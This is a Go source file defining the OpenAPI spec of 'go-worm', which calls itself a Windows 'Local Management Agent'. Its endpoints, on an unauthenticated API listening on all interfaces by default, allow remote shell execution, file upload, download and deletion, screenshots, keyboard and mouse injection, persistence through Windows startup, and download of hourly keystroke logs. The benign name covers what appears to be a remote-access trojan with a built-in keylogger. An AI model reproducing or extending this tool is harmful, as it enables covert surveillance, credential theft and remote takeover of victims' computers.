Files
go-worm/lib/openapi/spec.go
T

402 lines
15 KiB
Go

package openapi
import "tea.chunkbyte.com/kato/go-worm/lib/config"
func Spec() map[string]any {
ref := func(name string) map[string]string {
return map[string]string{"$ref": "#/components/schemas/" + name}
}
jsonBody := func(schema map[string]string) map[string]any {
return map[string]any{
"required": true,
"content": map[string]any{
"application/json": map[string]any{"schema": schema},
},
}
}
errResp := func(desc string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": ref("Error")},
}}
}
okJSON := func(desc string, schema map[string]string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": schema},
}}
}
return map[string]any{
"openapi": "3.0.3",
"info": map[string]any{
"title": "Local Management Agent",
"description": "HTTP API for a Windows local management agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
"version": config.Version,
},
"servers": []map[string]any{
{"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"},
},
"paths": map[string]any{
"/health": map[string]any{
"get": map[string]any{
"summary": "Health check",
"operationId": "health",
"responses": map[string]any{
"200": okJSON("Agent is running", ref("Health")),
},
},
},
"/healthz": map[string]any{
"get": map[string]any{
"summary": "Health check alias",
"operationId": "healthz",
"responses": map[string]any{
"200": okJSON("Agent is running", ref("Health")),
},
},
},
"/api/v1/status": map[string]any{
"get": map[string]any{
"summary": "Agent status",
"operationId": "getStatus",
"responses": map[string]any{
"200": okJSON("Host and agent metadata", ref("Status")),
},
},
},
"/api/v1/files": map[string]any{
"get": map[string]any{
"summary": "List directory entries",
"operationId": "listFiles",
"parameters": []map[string]any{
{"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"},
{"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"},
},
"responses": map[string]any{
"200": okJSON("Directory listing", ref("FileList")),
"400": errResp("Invalid path or depth"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
},
},
"delete": map[string]any{
"summary": "Delete a file or directory",
"operationId": "deleteFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": map[string]any{
"200": okJSON("Deleted", ref("OkPath")),
"400": errResp("Invalid path"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
},
},
},
"/api/v1/download": map[string]any{
"get": map[string]any{
"summary": "Download a file",
"operationId": "downloadFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": map[string]any{
"200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
"400": errResp("Invalid path or directory"),
"403": errResp("Path outside allowed root"),
"404": errResp("File not found"),
},
},
},
"/api/v1/upload": map[string]any{
"post": map[string]any{
"summary": "Upload a file",
"operationId": "uploadFile",
"requestBody": map[string]any{
"required": true,
"content": map[string]any{
"multipart/form-data": map[string]any{
"schema": map[string]any{
"type": "object",
"required": []string{"path", "file"},
"properties": map[string]any{
"path": map[string]string{"type": "string", "description": "Destination directory"},
"file": map[string]string{"type": "string", "format": "binary"},
},
},
},
},
},
"responses": map[string]any{
"200": okJSON("Uploaded", ref("UploadResult")),
"400": errResp("Invalid path or body"),
"403": errResp("Path outside allowed root"),
},
},
},
"/api/v1/screenshot": map[string]any{
"get": map[string]any{
"summary": "Capture a monitor",
"operationId": "screenshot",
"parameters": []map[string]any{
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
{"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": map[string]any{
"200": map[string]any{
"description": "Screenshot image",
"headers": map[string]any{
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters"),
"503": errResp("No interactive desktop available"),
},
},
},
"/api/v1/exec": map[string]any{
"post": map[string]any{
"summary": "Run a shell command",
"operationId": "exec",
"requestBody": jsonBody(ref("ExecRequest")),
"responses": map[string]any{
"200": okJSON("Command finished", ref("ExecResponse")),
"400": errResp("Invalid command or timeout"),
"504": errResp("Command timed out"),
},
},
},
"/api/v1/startup": map[string]any{
"post": map[string]any{
"summary": "Add agent to Windows startup",
"operationId": "enableStartup",
"responses": map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
},
},
"delete": map[string]any{
"summary": "Remove agent from Windows startup",
"operationId": "disableStartup",
"responses": map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
},
},
},
"/api/v1/input/click": map[string]any{
"post": map[string]any{
"summary": "Click the desktop",
"operationId": "click",
"requestBody": jsonBody(ref("ClickRequest")),
"responses": map[string]any{
"200": okJSON("Clicked", ref("ClickResult")),
"400": errResp("Invalid coordinates or button"),
},
},
},
"/api/v1/input/key": map[string]any{
"post": map[string]any{
"summary": "Send a key press",
"operationId": "sendKey",
"requestBody": jsonBody(ref("KeyRequest")),
"responses": map[string]any{
"200": okJSON("Key sent", ref("KeyResult")),
"400": errResp("Invalid key or action"),
},
},
},
"/api/v1/input/text": map[string]any{
"post": map[string]any{
"summary": "Type text into the focused field",
"operationId": "typeText",
"requestBody": jsonBody(ref("TextRequest")),
"responses": map[string]any{
"200": okJSON("Text typed", ref("TextResult")),
"400": errResp("Invalid or empty text"),
},
},
},
"/api/v1/keylog": map[string]any{
"get": map[string]any{
"summary": "List keystroke log files",
"operationId": "listKeylogs",
"responses": map[string]any{
"200": okJSON("Keystroke log index", ref("KeylogList")),
},
},
},
"/api/v1/keylog/download": map[string]any{
"get": map[string]any{
"summary": "Download a keystroke log file",
"operationId": "downloadKeylog",
"parameters": []map[string]any{
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"},
},
"responses": map[string]any{
"200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{
"text/plain": map[string]any{"schema": map[string]string{"type": "string"}},
}},
"400": errResp("Invalid filename"),
"404": errResp("Log file not found"),
},
},
},
},
"components": map[string]any{
"schemas": map[string]any{
"Error": map[string]any{
"type": "object", "required": []string{"error"},
"properties": map[string]any{"error": map[string]string{"type": "string"}},
},
"Health": map[string]any{
"type": "object", "required": []string{"status"},
"properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}},
},
"Status": map[string]any{
"type": "object",
"properties": map[string]any{
"os": map[string]string{"type": "string"},
"architecture": map[string]string{"type": "string"},
"user": map[string]string{"type": "string"},
"hostname": map[string]string{"type": "string"},
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
},
},
"FileItem": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"path": map[string]string{"type": "string"},
"type": map[string]any{"type": "string", "enum": []string{"file", "dir"}},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"FileList": map[string]any{
"type": "object",
"properties": map[string]any{
"path": map[string]string{"type": "string"},
"depth": map[string]any{"type": "integer"},
"entries": map[string]any{"type": "array", "items": ref("FileItem")},
},
},
"OkPath": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
},
},
"UploadResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"name": map[string]string{"type": "string"},
},
},
"ExecRequest": map[string]any{
"type": "object", "required": []string{"command"},
"properties": map[string]any{
"command": map[string]string{"type": "string", "example": "ipconfig /all"},
"timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30},
},
},
"ExecResponse": map[string]any{
"type": "object",
"properties": map[string]any{
"exit_code": map[string]any{"type": "integer"},
"stdout": map[string]string{"type": "string"},
"stderr": map[string]string{"type": "string"},
},
},
"StartupState": map[string]any{
"type": "object",
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
"x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"},
"y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"},
"button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}},
"monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0},
},
},
"ClickResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"x": map[string]any{"type": "integer"},
"y": map[string]any{"type": "integer"},
},
},
"KeyRequest": map[string]any{
"type": "object", "required": []string{"key"},
"properties": map[string]any{
"key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."},
"action": map[string]any{
"type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap",
},
"modifiers": map[string]any{
"type": "array",
"items": map[string]any{
"type": "string", "enum": []string{"ctrl", "alt", "shift", "win"},
},
},
},
},
"KeyResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"key": map[string]string{"type": "string"},
"action": map[string]string{"type": "string"},
},
},
"TextRequest": map[string]any{
"type": "object", "required": []string{"text"},
"properties": map[string]any{
"text": map[string]any{"type": "string", "maxLength": 4096},
"delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200},
},
},
"TextResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"length": map[string]any{"type": "integer"},
"delay_ms": map[string]any{"type": "integer"},
},
},
"KeylogFile": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"KeylogList": map[string]any{
"type": "object",
"properties": map[string]any{
"directory": map[string]string{"type": "string"},
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
},
},
},
},
}
}